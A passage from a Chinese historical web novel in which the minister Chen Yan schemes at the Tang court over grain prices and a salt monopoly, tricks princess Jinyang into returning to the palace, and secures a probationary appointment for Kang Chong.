“那还用说?”康崇毫不犹豫道:“自然是因为洛阳发生了水患,一部分百姓遭受了严重的损失。” “那些粮商每遇到这种情况,必然想着发一笔国难财,控制粮食流出,以此炒高粮价了。” “很好。”陈衍欣慰地点点头,又问:“那如果,我们手里有大批的粮食,运送到洛阳用正常的价格贩卖给百姓呢?” 杜构若有所思道:“那么粮价必然回归正轨,那些黑心的粮商会因此竹篮打水一场空,说不定还得以正常的价格把粮食卖出去。” “毕竟,一旦某个地方发生天灾,不仅本地的粮商炒高粮价,外地同样有很多粮商入场。” “这些人天南海北地把粮食运过来,如果继续保持高价,自然卖不出去,如果就这么运回去,来回的花费足以让他们心疼死。” “还不如以正常价格售卖,起码可以弥补一下损失.......” 越说,杜构的眼睛越亮,最后恍然大悟道:“我明白了,子安兄,你想让钱庄掌握一部分田地。” “然后可以自己请人种植粮食,这既给了很多百姓活下去的路,又可以收获大批的粮食。” “而手里的粮食一旦多了,那么就能在很大程度上影响粮价。” “倘若粮价太低,那就稍微抬高粮价,避免谷贱伤农,若是粮价太高,那就以正常价格售卖粮食,避免百姓吃不起粮。” “子安兄,我说的对吗?” 杜构很兴奋,以为自己总算跟上了陈衍的思路。 却没想到,陈衍只是轻轻点了点头,“算是对一半吧,这只是其中一个重要的原因。” “其他方面.......解释起来也颇为麻烦,以后有机会再说。” “另外,如果把一切放在钱庄身上,钱庄的影响力就会无限扩大,这样不好,所以户部也要做同样的事。” “平时互不干涉,关键时刻互相制衡。” “今后收缴上来的田地,咱们户部自己找人种!” “......” 第652章 韩仲良:先吃肘子后提裤,跟紧大人的脚步 “互不干涉......互相制衡......” 众人嘴里喃喃着这两个词,面面相觑,然后默契地没再继续问下去。 户部自然不用多说。 而钱庄表面上是陈衍在管,可实际的得利者是谁? 是踏马李世民啊! 钱庄早就已经定了下来,今后归皇室掌管,是要传承下去的。 现在陈衍为了避免钱庄影响力持续扩大,一手掌控天下粮价,又用户部来制衡...... 说真的,他们对于这个决定是不怎么赞同的,可他们也隐隐猜到了陈衍的想法。 为什么呢? 因为户部踏马不也归皇室管,即便是户部尚书,不依然是臣吗? 两者都归皇室管,万一出现一个昏君什么的,这个制衡有什么意义? 左右互搏? 不可能啊! 所以答案就很明显了。 户部种田,可能只是用来过渡的,它跟钱庄制衡不起来。 今后,他们猜测陈衍还会找一个更好的选择来制衡钱庄。 当然啦。 或许这里面还有一点点试探陛下的意思,看看陛下能不能接受。 不过这就跟他们没关系了,反正陈衍才是大唐举重王,一切事情,他一个人全扛了。 “子安兄,那今后我们有什么规划吗?”杜构适时扯开了话题。 “有啊。” 陈衍点点头,笑眯眯地看着众人:“佛门的事情已经落定下来,之后便不再需要我们插手了,是其他官员、宰相、乃至陛下头疼的事。” “咱们户部,首要的目标是什么?” 马周:“提升税收......不,应该是在不增税的情况下,想办法增加国库收入。” “我们还欠了钱庄一大笔账呢。” “对咯。”陈衍乐呵呵道:“不瞒你们说,我这几天又想到了好几个办法,我个人认为都不错,只是我怕你们不敢干啊。” 杜构眉头一挑:“子安兄,你这话说得,咱们连韦家都敢动,连佛门都扳倒了!” “渭南县里干过世家,朝堂之上打过架。” “还有什么是我们不敢干的?” 韩仲良振奋道:“先吃肘子后提裤,跟上大人的脚步!” “您只管开团,其他交给我们!” 众人:“.......” 马周脸色古怪。 韩仲良这是咋得了? 上次让韩仲良开团,他们可是费了九牛二虎之力,好不容易才劝说他上了。 虽然韩仲良确实上了,但也是咬着牙上的。 他心里肯定有些不乐意。 这次陈衍都说出怕他们不敢干了,估计又是一件不小的事,韩仲良这小子怎么不怕了? 杜构跟房遗直都是一样的想法,包括陈衍亦是如此。 他们都一脸怪异地看着他。 韩仲良没在意大家的眼神,拍着胸脯道:“大人,您若实在不放心,就把您的‘理’借我一用,如果到时候有那个不开眼的拒绝,我上去就给他一板砖。” “保证打得他嗷嗷叫唤。” 说完,他顿了顿,“对了,大人,我打完之后,若是被抓了,您得记得捞我哈。” 陈衍:“......” 韩仲良此时真的兴奋了。 上次跟陈衍,属实是爽到了。 头儿虽然看起来不靠谱,但头儿是真跟团啊。 而且一跟团,必定吸引所有火力,还会顺手护一下犊子,他们只管骂人就行。 他娘的。 这种感觉谁懂啊? 安全感拉满啊大人! 经过灭佛一事,韩仲良早已打定主意。 我!韩仲良! 乃当今白虎圣使、渭南伯、户部尚书、陈载酒手下头号冲锋手,韩仲良是也! 开团! 必须开团!! “.......子安兄,到底什么事?”杜构不禁询问。 陈衍意味深长地笑了笑,没有第一时间说,而是问道:“当初,汉武帝刘彻打匈奴,几乎是你死我活的打法。” “这样的战争对国库的消耗是巨大的,毕竟打仗嘛,打的就是人口、经济!” “尽管汉武帝有前几代君主好不容易攒下的家底,但依然很难维持住这样你死我活的战争消耗。” “后来,汉武帝干了什么,获得了巨大的经济收益?” 在场的人,除了程处默几人,谁不是饱读史书? 很快,他们细细思量过后,便说出了一个又一个汉武帝的做法。 陈衍只是听着,没有发表看法。 直到马周说了一句话:“对了,汉武帝为了维持这样的战争消耗,还把原本属于地方诸侯王或富商大贾的盐铁贩卖权收回了,直接把所有权,经营权收归中央。” “从此之后,除了朝廷之外,其他人不许贩卖盐铁。盐铁都由官府直接介入,从生产到贩卖,全部是官府来做。” “通过垄断的方法,汉朝获得了巨大的财政收入,以此维持长久的战争消耗。” 陈衍咧嘴笑了:“不错,那你们觉得,咱们大唐也效仿一下汉武帝,垄断盐怎么样?” 他没有说铁,只说了盐。 虽然盐铁专卖汉代就有,但唐代初期管理粗放,私盐私铁泛滥。 以前这些东西,可都是世家在做。 听到陈衍的话,众人先是皱眉。 垄断盐,岂不是严重侵害了世家利益...... 诶? 等等。 众人瞪大双眼,忽然想起了一件事。 自贞观四年的时候,民间突然出现了一种前所未有的细盐,不但洁白如雪,而且毫无苦涩之味。 凭借着相当便宜的价格,逐渐拿下了市场,导致世家的盐根本卖不出去。 尽管此事很多人还不清楚是谁做的。 但他们可太清楚了啊。 制作细盐的方法,早就被陈衍交给李世民了。 如果是细盐的话,根本不需要什么名义上的垄断,只要细盐大规模地出现,它本身就已经垄断了呀。 而且世家还不能说什么。 但问题是,现在细盐掌握在李世民手里啊....... 想到这里,众人心里又是一惊。 雾草! 陈衍刚干完佛门,现在难不成又盯上李世民了? 他们越想越有可能,方才还众志成城的几人,现在一个个喝酒的喝酒,吃菜的吃菜,尬聊的尬聊。 已然没有了刚刚的雄心壮志。 “那个......大人啊......” 韩仲良尴尬道:“我方才就是开开玩笑,让大家乐呵乐呵,您的‘理’还是您自己留着吧。” “.......” 第653章 兕子:我气疾发作了,快救救我 “你又将主意打到我父皇头上了?” 待众宾客离开,高阳瞥着陈衍,语气已经有些无奈了。 自家夫君其实什么都好,就是怎么老是盯着李世民干什么?非得想着从李世民身上扒一层油下来吗? 你老是这样搞,李世民能乐意吗? 不得又打你板子啊? 再说了,她不相信以陈衍的本事,会想不到其他增加国库收入的办法。 陈衍撇撇嘴:“你懂什么?盐是所有人必备的物资,若是能让朝廷垄断盐,可以最快速地在大唐铺开,不仅能让大唐百姓都吃上细盐,甚至还能高价卖给其他国家,这得是一笔多么大的收入啊?” “你看看我把细盐交给你父皇,他干了啥?到现在还躲躲藏藏地卖,价格虽说不高,但产量属实太少。” “如果交给朝廷,各部联合起来,直接把细盐摆到明面上,还用得着躲躲藏藏吗?” 高阳心里叹了口气,已经清楚陈衍心意已决,恐怕跟李世民又得争上一阵子。 对于这些,她不好说什么,只是叮嘱道:“你最好别把自己给玩进去了,都已经是渭南伯了,等会别搞到连一个爵位都没有,连自己的女儿都不如。” 陈衍无所谓道:“没有就没有吧,反正这个东西又没什么用,陛下只是削去了我的爵位,又没有削我的食邑什么的,我还不满意呢。” “如果能把食邑都削去,我正好能安心很长一段时间。” “算了,你别管这个了,细盐肯定是不能掌握在你父皇手里了,给他一点用都没有。” 高阳和李丽质一阵无言。 好嘛,你这话说得,是在指李世民一点都不争气吗? “不说就不说,我还懒得管你呢。”高阳白了他一眼,阴阳怪气道:“我只求你别又跟人打起来,到时候三进狱,还得让姐姐去接你就好了。” 陈衍:“......” “高阳!”他瞪眼道:“你别哪壶不开提哪壶,这件事已经过去了。” “切,谁管你。” 高阳轻嗤了一声,抱着女儿离开了。 李丽质欲言又止,最终委婉道:“夫君,你真的得悠着点了,别总惹父皇生气。” “要不然到最后还不是你吃苦吗?” 陈衍笑着安慰道:“放心吧,我心里有数的,我只要不改变自己的立场,我永远不会出事,其他都是一些无关紧要的东西。” 说着,他牵起李丽质的手,“再说了,这不是还有你们在吗?” “我若要挨罚,你帮我求求情呗。” 李丽质没好气道:“我起初也是这样想的,可上次你被关进大理寺狱,我们连父皇的面都没见到,怎么求情?” “哎,算了。” “我真服了你们翁婿俩,两人一天到晚想着怎么坑对方,数遍华夏上下就你们这一个例子了。” “我不和你说了,我得找人来收拾一下。” 话落,她抽回自己的手就要离开,陈衍笑吟吟道:“别急着离开嘛,要不咱们再聊聊这两个月要个孩子的事?” 李丽质脚步一下子就顿住了,微微低着头,白皙的脖颈渐渐泛红。 要个孩子,是她想了很久的事,以前陈衍总是不同意,因为看到了高阳生孩子很危险,担心她出事。 所以李丽质可以理解。 毕竟陈衍自己医术高超,总不能在这方面害了她。 只是今年,陈衍又跟她说,今年差不多了,等季节合适,两人便要个孩子。 算算日子,现在已经四月份,天气早已暖和。 如果再等一两个月,十月怀胎,就是贞观七年这个时候孩子出生...... 李丽质想着想着,心里便一阵欢喜,转身,板着脸道:“这可是你自己说的,可不能反悔。” “对,我说的,不反悔。”陈衍轻笑点头。 “好。”李丽质眼睛亮晶晶的,嘴角微微勾勒,全身上下都透露着轻快与雀跃。 叫人一看就知道心情很好。 “哟,节奏姐又被哄成胚胎了。” 兕子不知何时出现在了李丽质身旁,歪着小脑袋看着自家不争气的姐姐。 李丽质:“......” “你......算了,今天我高兴,不抽你,你等明天的。” 兕子乐呵呵道:“你打我,以后我就打小侄子或者小侄女,你打我几下,我就十倍还回去。” “等你的孩子长大一点,我就带去摸鱼上树,斗鸡玩狗,扔牛粪。” “你打吧。” 李丽质:“......” “小东西,看来我是很久没有教训你了。”她一下子恼了,抬手就要去揪兕子的耳朵。 却被陈衍拦了下来:“好啦好啦,你跟她置什么气?她什么德行你还不知道吗?” “正好,我有点事要跟她说,你先去忙吧。” 李丽质闻言脸色缓和了许多,然后狠狠瞪了兕子一眼,转身离开了。 “阿兄,你又想坑我了吗?” 兕子眨着眼睛道。 陈衍眉头一挑,蹲下身,让自己跟小家伙平视:“为什么这么说?” “这还用问?这么久以来,你什么时候跟我说过好事啊?” 陈衍无语:“瞧你这话说的,好像我虐待你一样。” “那可不好说。”兕子学着陈衍从前的样子,摊着小手,还摇头叹息。 “.......你这小家伙。”陈衍笑骂一句,然后搂着她,沉吟道:“兕子啊,我确实有件事要跟你说。” “如今你小妹已经长大了许多,你阿耶阿娘已经很久没有好好跟你生活了,你得跟你城阳阿姐回去住两个月。” “两个月之后你再回来哈。” 兕子一听,顿时不乐意了:“我才不去,那皇宫是人住的地方吗?” “让城阳阿姐回去住就好了呀,干嘛要带上我?” “你是不是又嫌弃我老是传你八卦,所以你要赶我走了?” “怎么会,怎么会呢?”陈衍语重心长道:“你难道忘了我是怎么教导你的了吗?百善孝为先呀。” “你已经不是三岁小孩了,怎么能耍小孩子脾气呢?” “你身为公主,住在我家比住在宫里要久得多,你让别人怎么想?” “这不合适呀。” 兕子抽了抽鼻子,歪着脑袋,眼珠子转了转,似乎是在琢磨什么。 然后,她当着陈衍的面,翻着白眼,一屁股坐在地上,大口大口地哈着气。 “阿兄!阿兄,不好啦,我的气疾又发作啦,你快救救我,救救我!” “救救哇!” “......” 第654章 阿兄,你不要太难过 “救救,救救哇!” 晋阳小公主扯着嗓子大喊,甚至已经满地打滚了起来,摆明了不想回去。 陈衍满头黑线,也不管这个小家伙,自顾自坐在椅子上,看着她表演。 过了好一会儿,兕子似乎是累了,悄悄抬眼瞅了瞅陈衍:“阿兄,你怎么不救我?” “我不是你最爱的妹妹了吗?” “......你赶紧给我起来。”陈衍黑着脸,“看看你的样子,耍无赖、哭惨、装病、满地打滚,还记得自己是个公主吗?” “你阿耶的脸都快被你丢完了。” “那我不管。”兕子躺在地上,嘟着嘴,“反正我不想回去,你让城阳阿姐回去就好了,我在家住得好好的,为什么要回去?” “陈府的人个个都是人才,说话又好听,我超喜欢这里的,我才不走。” 陈衍威胁道:“你信不信我揍你屁股,以后再也不让你来家里住了?” 兕子抬了抬头,认真道:“阿兄啊,不利于团结的话你要少说,否则对大家都不好。” “你也不想你肾虚公子的名号传遍整个大唐吧?” 陈衍:??? 好家伙,自己这是被反威胁了? 他目瞪口呆地看着地上的兕子,被气笑了:“这次不一样,这次由不得你,你必须回去住两个月,否则的话,你以后都别想出去玩了,就老老实实给我待在家里吧。” “不是!” 兕子忍不住了,从地上爬起来,委屈巴巴地问:“为什么一定要回去住两个月?” “我们不是都说好了吗?咱们仨把日子过好比什么都强,一定要我回去干嘛?” 陈衍揉了揉眉心:“我跟你阿娘打了个赌......哎,算了,不说这个了,反正你要回去住两个月。” 打了个赌...... 兕子愣住了,不可置信地说:“你输啦?” 陈衍没说话,就看着她。 兕子一下子更委屈了,先入为主地认为是陈衍和长孙皇后打赌,赌约就是她和城阳回不回去住两个月,然后陈衍输了。 毕竟长孙皇后想念女儿,这是大家都清楚的事,她肯定希望能跟自己的女儿好好生活一段时间啊。 提出她回去住两个月太正常了。 “你怎么能输给阿娘呢?输就输了,怎么还把我给输出去了?”兕子瘪着嘴,要多委屈有多委屈: “你这让我咋活啊?” 陈衍无奈挥手:“行行行,你别装了,不就是回去住两个月吗?” “多大点事?” “关于赌约的事.......我也没办法啊,事已至此,我能怎么办?我难道还能跟你阿娘反悔?” “乖,回去好好住两个月,等你回来,我带你好好玩一段时间。” 兕子:“可是......” “别可是了。”陈衍又蹲下来,安慰道:“兕子,你已经长大了,不能总依着自己的小性子了,你阿娘很想你啊。” “你得理解你阿娘的心情啊。” “毕竟,你可是你阿娘十月怀胎从身上掉下来的一块肉,她在乎你的呀,对不对?” 兕子默默点点头。 陈衍趁热打铁:“我知道你喜欢住在家里,可我又不是再也不让你回来了,你只是回去住两个月而已。” “等你回去住两个月,在宫里玩一段时间,两个月之后我再把你接回来。” “到时候我保证带你好好玩玩,行不行?” “......好吧。”兕子其实还是想拒绝的,但一抬头,就看到了陈衍诚恳的目光,心里一下子想起了陈衍和长孙皇后对她的好,闷闷不乐地答应了下来。 “乖。” 陈衍揉了揉兕子的脑袋:“我待会让人帮你和你城阳阿姐收拾一下东西,咱们争取早去早回。” “嗯呐。”兕子不情不愿地点头。 “好啦,去吧,你先去玩。” “哦。” 兕子闻言下意识往外走,快走出门的时候,想起一件事,回头问: “阿兄,你跟阿娘打了个什么赌啊?” “.......不利于团结的问题不要问,我也不愿意再提起这件事,哎,我的一世英名啊。” 兕子见状安慰道:“阿兄,你别太难过了,输就输了吧,反正我阿娘是皇后,输给她不丢人,大不了我回去住两个月,没事的。” “好,我知道了,还是我家妹妹好啊。” “嗯呐,阿兄,我走了,你要保重好身体,别太难过了。” “.......唉~我知道了,我不难过。” 陈衍背着手,死死掐着屁股上的肉,极其艰难地扯出了一丝难过、痛苦的表情。 如果不是这样,他真怕自己笑出来。 他可从来没说过自己输了噢。 都是小家伙自己脑补的。 反正他说的都是实话,赌约是实话,要回去住两个月也是实话。 一点不带骗人的。 兕子瞧见陈衍的表情,心里微微叹息,有些为自己方才的闹腾感到愧疚。 阿兄一定也很难过吧? 一起生活了这么久,自己突然要离开这么长时间,而且还是因为他输了赌约。 阿兄心里肯定比我更不好受。 亏我之前还无理取闹,装病打滚。 实在是太不懂事了。 “阿兄,你放心,等过两个月我就回来,走了哈。” “快......慢走啊,兕子。”陈衍又哭又笑,一边是疼的,一边是高兴的。 连自己心里最真实的想法都险些说出来。 等兕子一离开,陈衍坐在椅子上,沉默了好一会儿,然后浑身开始颤抖,笑意再也憋不住了。 正所谓魔高一尺,道高一丈。 你别管我用了什么办法,你就说我有没有把这个魔丸给送走吧? 至于兕子回到宫里,会不会得知事情的真相? 那他喵的关他屁事。 反正是李世民强硬要求让他忽悠兕子,把人给送到宫里的。 他只是奉旨办事,有什么问题吗? 一点问题都没有! 赌是跟长孙皇后打的,旨是李世民下的。 他也很无奈啊。 “......” 第655章 人生天地之间,若白驹之过郤 翌日,太极殿外。 陈衍一来,便被杜构等户部官员围住了。 “子安兄,我昨日回去仔细想了想,此事确实可以干,但还得是你来才行。” “如果是我们提出来,我怕当天就要进狱了。” 韩仲良止不住地点头:“是啊,大人,这可是从陛下口中抢肉吃,我......我心里有点慌啊。” 陈衍闻言,没好气道:“你昨天不是还说让我把‘理’借给你,你上去就拍吗?” “怎么现在又怂了?” “上一边去吧,我用不着你们,等着安排后续就行了。” “啥也不是。” 听到这话,户部等官员非但没有生气,反倒齐齐松了口气。 如果是其他事,针对其他人,他们自然不可能怂。 可如今陈衍要针对的是谁? 那特么是李世民啊。 你以为你是陈衍吗? 手里的免死金牌多到都能拿来建房子,你能有几条命跟? 省省得了,跟着大佬的脚步,在背后呐喊助威就是他们唯一能做的了。 “子安。” 这时,杜如晦叫了一声,旁边站着房玄龄、魏征、以及长孙无忌。 叫完,却没有过来的意思。 陈衍会意,跟杜构等人说了一声,然后走了过去:“蔡国公,近来可好啊?” 杜如晦无奈道:“我是挺好的,但你还能不能好,我不敢保证啊。” 房玄龄拉着陈衍,压低声音道:“你小子别整事了,消停两个月吧,就算要苦陛下,也不是这么个苦法啊。” “那细盐......大家不都心知肚明吗?” “虽然细盐的售价低廉,可架不住量大呀,对陛下这个从前穷惯了的人来说,同样是一笔不小的收入。” “你这跟虎口拔牙有什么区别?” 杜构和房遗直作为他们两个的儿子,昨日回去之后,自然私下地跟两人提过。 他们会知道,陈衍并不意外。 再者,这本来就是陈衍希望看到的。 “二位大人。”陈衍笑着问:“你们是不支持我的想法吗?” “不是不支持。”杜如晦皱眉道,“其实我们也清楚,细盐放在陛下手中,有些浪费了,到如今还没全面铺开。” “只是你前段时间才搞了事......现在又把矛头对准陛下,是不是有些太着急了?” “有钱庄在,你不可能缺钱,我们大可以缓两个月。” 话落,陈衍还没来得及开口,魏征反倒先说话了:“别这么说,钱庄是钱庄,户部是户部,陈尚书对于这二者的界限划分得很清楚。” “再者,皇家掌管钱庄,已经是一笔巨大的收入了,而户部依然还依靠着那点百姓税收。” “陈衍身为户部尚书,想办法增加收入并无问题。” “有些事情不需要看早晚,只需要看对错就行了。” 说完,他顿了顿,干咳道:“你们啊,就是太怂,在惹陛下生气这方面,根本没有我跟陈尚书经验丰富。” “类似这种对的事,陛下顶多生气一会儿,今后该怎么样还是怎么样的。” 杜如晦:“......” 房玄龄:“......” 陈衍竖起一个大拇指:“魏公高见!” 长孙无忌补充道:“魏征说得在理,我亦觉得,细盐继续掌握在陛下手里,作用已经不大了。” “归于朝廷其实更好,起码能减轻很多朝廷的财政压力,也不会对陛下产生极大的影响。” “反正他还有钱庄跟酒楼等一系列分账,陛下已经不是以前的陛下了。” “咱们是时候把主意打到他身上了。” “另外,倘若陛下真的生气了,宫里不还有人为我们兜底吗?” “我听说昨天子安把两位小公主都送回宫了......” 杜如晦和房玄龄一阵无言。 好嘛。 这还真是提前做出了一系列准备啊。 两人看了看跃跃欲试的陈衍,又看了看一脸理所当然的长孙无忌和魏征。 心里很清楚这件事大概率要成了。 李世民......又得跳脚了。 “算了,你想做就做吧。”杜如晦实在无奈,提醒道:“不过你小子说话悠着点,否则肯定有你苦头吃。” “放心放心,我心里有数得很。”陈衍咧嘴乐着。 两人默默无言,总感觉这小子有点不太靠谱。 “......” 常朝开始,文武百官按例进殿。 走完所有流程,内侍照例喊有事启奏,无事退朝。 陈衍没有第一时间搞事,而是等着其他官员一一汇报一些不大不小的事。 这本来就是常朝的惯例了,毕竟不是每天都那么刺激,有无数大事发生。 眼看其他官员说的差不多了,陈衍刚想站出来开团,没想到,一个意外的人却先他一步站了出来。 “陛下......”王珪上前,深深作揖。 李世民有些意外,询问道:“王爱卿有事要奏?” 王珪摇了摇头,低声道:“不瞒陛下,今日老臣如以往一般,想起床更衣,参加常朝。” “可令老臣感到无力的是,老臣现在已经到了起床都需要下人搀扶的地步。” “陛下......老臣年事已高,有心继续为国效力,可身体已经不允许老臣继续担大任了。” “臣想......是时候退下,为后来者让路了。” 此话一出,连陈衍都颇感意外。 王珪真的要退了? 李世民深深看了眼王珪。 到了贞观六年,王珪已经六十多岁了,头发早已花白,脸上已经长出了老人斑,身子也佝偻了下去。 说真的。 对于王珪这位世家人,李世民的情绪是复杂的。 王珪偏向世家不错,可在其他方面,却挑不出一点毛病。 这么些年来,多亏了有王珪的辅佐,否则他不会那么轻松。 李世民确实希望王珪退下去,不过真到了这一天,从王珪的嘴里又听到了他老了这种话。 他一时不免有些伤感。 “叔玠......你怎么就老了......” 王珪淡淡一笑,叔玠,正是他的字:“陛下,人生天地之间,若白驹之过郤,忽然而已。” “哪有不老的道理。” “......” 第656章 试用期 “说得也是。” 李世民轻轻感慨了一句,随即望着王珪:“王爱卿,你入仕多少年了?” “老臣已经记不清啦。”王珪沉吟片刻,摇头失笑:“老臣这一生,曾踏足高峰,看过高处的风景,也跌落过深渊,受尽过白眼。” “站在这里,回忆往昔,老臣不由想起了第一次进入这里的自己。” “那时的老臣,春风得意,意气风发,只觉得人生就该如此。” “一晃这么多年,还是这个位置,老臣却又觉得,人生不过如此。” “哎呀。”王珪惆怅道:“借用陈尚书的一句诗。” “欲买桂花同载酒,终不似,少年游啊!” 李世民默然。 其他官员同样无言。 时间真的带走了太多太多。 不仅带走了他们的寿命,也带走了他们的心气。 良久,李世民问道:“王爱卿既然想告老,朕即便不舍,却也清楚,不该再挽留你了。” “只是......你身为工部尚书,身居要职,你走之后,这工部尚书又该由谁来担任?” “你可有心仪的人选?” 王珪毫不犹豫道:“老臣自然不会随意提出退出朝堂,老臣已经替陛下物色了一个合适的人选。” “至于其他的,老臣便无力再管了。” “哦?”李世民诧异道:“不知王爱卿看中的是谁?” “康崇。”王珪直接报出了一个名字。 下面,本来默默吃瓜的康崇顿时懵了。 啊? 我吗? 陈衍亦惊讶,心里不解。 王珪怎么会举荐康崇呢? 其余官员有附和,也有人反对。 李世民皱了皱眉:“康侍郎资历是够的,不过他才从户部调任不久,现在你又举荐他上任工部尚书一职......是否有些不合适?” 王珪轻声道:“陛下,老臣认为,能不能担大任,资历什么都是虚的,最重要的还是看能力,看他能否扛得起肩上的担子。” “陈尚书不就是最好的例子吗?” “曾经,陈尚书上任前,人人都不同意,觉得陈尚书太过年轻,不管从哪方面来说都不足以担任户部要职。” “可事实证明,陈尚书比任何人都要合适这个位置,不是吗?” “康崇虽然从前只是一个五品官员,担任要职的经验不多,但老臣接触他这几个月来看。” “他无论从哪方面来说,都很符合工部尚书所需的要求。” “所以,老臣举荐康崇接任老臣的位置。” 李世民若有所思地瞥了眼康崇,倒是没有第一时间发表看法。 怎么说呢。 他对于康崇还算满意,王珪已经很久没管事了,这段时间以来,工部大大小小的事,都是康崇在做主。 事实证明,康崇确实干得不错。 另外,康崇曾经被打压了太久,是陈衍挖掘出来的,他也不担心康崇被王珪收买。 唯一的问题是,下面官员能不能服气。 “陈爱卿,你怎么看?” 李世民想了想,索性把问题丢给了陈衍。 陈衍微微蹙眉,思索了一会儿,道:“臣认为不妥。” “嗯?” 这下,不仅李世民,连王珪和其他官员都惊了。 陈衍认为不妥? 不是? 那康崇不是你的人吗? 这么好的机会,你怎么就不妥了? “你说说看,哪里不妥?”李世民当即问。 陈衍道:“方才我听到有同僚担心康侍郎没有那个能力担任工部尚书一职,说真的,臣也有同样的担忧。” “毕竟作为六部之一的工部尚书,是开不得玩笑的。” “王尚书说康崇有能力,可我们又没见过,总不能听王尚书一人之言便草草决定下来吧?” 王珪扯了扯嘴角,搞不懂陈衍又在玩什么东西。 而作为当事人的康崇,反倒松了口气。 说真的,他自己都还没准备好呢。 工部侍郎的位置才坐热,又上任工部尚书。 太快了。 快得他都有些害怕。 陈衍帮自己拒绝也好。 李世民道:“那你认为该如何?” 陈衍直言道:“是骡子是马,拉出来溜溜就知道了,王尚书举荐康崇,朝中暂时也没有好的人选。” “咱们不如就给康崇一个考核,让他先上任工部尚书,不过却要试用三月,期间由几位宰相直接监督。” “若康崇真的有那个能力,能担得起大任,三个月一过,他就是真正的工部尚书,若是不行......” 陈衍淡淡道:“三个月的时间,足够我们寻到一位更合适的人选了。” 听到他的话,百官细细思索了一会儿,神色古怪。 试用期? 能当就当,这怎么还整出来一个试用期呢? 不过仔细琢磨一会儿,大家忽然又觉得这好像确实是个好办法。 如果康崇有能力,可以坐稳这个位置,大家都服气,那自然没什么好说的。 如果康崇不行,三个月之后打回去,倒也合理。 魏征当即站出来:“陈尚书的建议甚好,这个试用期,正好作为一个观察、考核的标准。” “臣附议。” 杜如晦微笑着点头:“陛下,陈尚书提出来的这个试用期,臣倒是觉得不仅适用于康崇,在对待其他官员上,或许也可以这样做。” “刚刚陈尚书的一句话,臣觉得很好,是骡子是马,拉出来溜溜就知道了。” “朝堂本就是看能力的地方,能者上,无能者下,好马配好鞍,骡子拉粪车。” “臣也附议。” 李世民啧啧称奇,心里也觉得这个办法很好,而且还能避免其他官员心里不服。 “既然如此,康崇!” “臣在!” 康崇此时已经渐渐明白了陈衍的苦心,清楚陈衍是想把他推上去的。 而他自然不能在这个时候掉链子,当即站了出来。 “对于陈爱卿提出的三月试用期,你可接受?” 康崇恭敬道:“臣并无意见,同时,臣也相信,臣不会让陛下、让王尚书、让陈尚书失望的。” “很好。”李世民欣慰地点点头,“你有信心是好事,那么此事就这么决定下来吧。” “从今天开始,你正式上任工部尚书,不过会有三个月的试用期,能不能坐稳这个位置,就看你自己的能耐了。” “.......” 第657章 朕说你大坝 “臣,领旨,臣必不负陛下厚望。” 康崇认真叩首,心里既意外又激动。 “嗯,好了,起身吧。”李世民微微颔首,抬手示意康崇起来。 而后看向其他官员:“诸位爱卿可有事要奏?” “如果没......” “陛下,臣有事要奏。” 李世民话还没说完,陈衍便站了出来。 一部分官员,以及杜如晦等人神色各异,各自看了过去,没有言语。 “你有事要奏?”李世民一怔,不知为何,心里忽然涌出了一股不妙的预感。 他不动声色道:“陈爱卿有何事要奏?” “陛下,是这样的。”陈衍上前两步,义正言辞道:“前几日,臣府中一名下人机缘巧合之下,发现了一种用毒盐矿制作出无毒细盐的办法。” “臣得知之后不可置信,便命他当着臣的面用毒盐矿石做细盐,让臣没想到的是,那名下人真的做了出来,而且做出来的盐细如河沙,洁白如雪,吃起来没有任何异味,堪称祥瑞。” “臣询问了那名下人的意见,他自愿把制作细盐的办法贡献给朝廷,臣认为,正好可以由工部户部联合起来,开展毒盐矿制作细盐的事宜,增加我大唐的国库收入。” 陈衍侃侃而谈,话语不断回荡在太极殿内。 其他官员们起初听着先是不可置信,而后又纷纷流露出古怪的神色。 关于细盐,现在整个长安城谁不清楚? 或许大唐还有很多地方还没开始售卖细盐,但这绝对不包括长安。 毕竟这是李世民最先开始售卖细盐的地方。 而且那售卖细盐的铺子就差挂个皇家的牌匾了。 但凡是朝廷上的人,谁不知道这是李世民的手笔? 现在陈衍突然说府中一个下人发现了细盐,谁特么信你啊? 你早不发现,晚不发现,偏偏在你上任户部尚书不久你就发现了。 要说你不是想从李世民身上刮下一层油,谁信啊? 果不其然,一些比较大胆的官员悄悄抬起头看向李世民,后者的表情此时已经黑如锅底。 然而陈衍却还在继续说:“陛下,臣认为这是天大的好事啊。” “不说今年要打仗,年初没多久,洛阳又出现了水患,距离秋收的时间还久,户部本来就是靠着跟钱庄借贷,才勉强维持住财政不崩溃。” “大唐每年的税收就那么多,咱们又不可能增加税收,给百姓增加负担,所以臣觉得,大可以用这细盐增加收入。” “咱们只需要以超出成本一点点的价格售卖出去,在整个大唐的消耗之下,或者直接出口给异国的商贩,即便利润不高,可在这么大的基数之下,每年也绝对能增加一笔巨额收入。” “立即便能解了朝廷的燃眉之急,欠钱庄的欠款也不再是问题。” “陛下,您说呢?” 朕说? 朕说你大坝! 李世民咬牙切齿道:“陈爱卿!不知你府中那名发现细盐的下人,叫什么名字啊?” “他无偿贡献出细盐的制作之法,功劳甚大,朕要封赏他!” “不必。”陈衍板着脸,脸上丝毫没露出异色:“那名下人不愿意出名,只想好好生活,所以对臣说,封赏就不必了,只想求些财物,带着家人好好找个地方生活。” “臣满足了他的愿望,给他寻了一处好地方,外加足够家人富足一生的钱财,以及千亩良田,他已经离开长安了。” “哈哈哈哈.......”李世民听到这里,笑了。 纯属被陈衍气的。 “好一个不愿意出名,不想要封赏,只想找个地方好好生活。” “朕竟然不知道,大唐境内竟然还有如此不求名,不求大利,只想平淡一生的人。” “不过......” 李世民说到这里,眯了眯眼,盯着陈衍道:“朕怎么听说,长安早就出现了细盐,价格相当低廉。” “你府中那个下人,真的是自己发现的细盐制作之法,不是从别处偷来的吗?” “陈爱卿,你可莫要被小人诓骗了啊!” “丢失了钱财和良田事小,若是被人发现是从别人那里偷来的技术,可有损你大唐举重王的威名!” 此话一出,杜如晦等人好悬没笑出声。 他娘的。 你说这翁婿俩咋这么有意思呢? 继白虎圣使、二十岁的户部尚书、双驸马爷、状元师、陈载酒之后,陈衍又多出了一个大唐举重王的绰号。 陈衍抽了抽鼻子,丝毫不在乎其他官员的低笑,振振有词:“陛下,臣保证绝对不会。” “臣这个制作细盐的办法才是正版,外面流露出去的,不过是好几年前的版本。” “臣现在的技术,不仅比那些卖细盐的人技术更加成熟,而且制作出来的细盐更细,还有一系列配套的制作设施。” “陛下,您只要下令同意户部售卖细盐,臣立即便可以跟工部的人联合起来。” 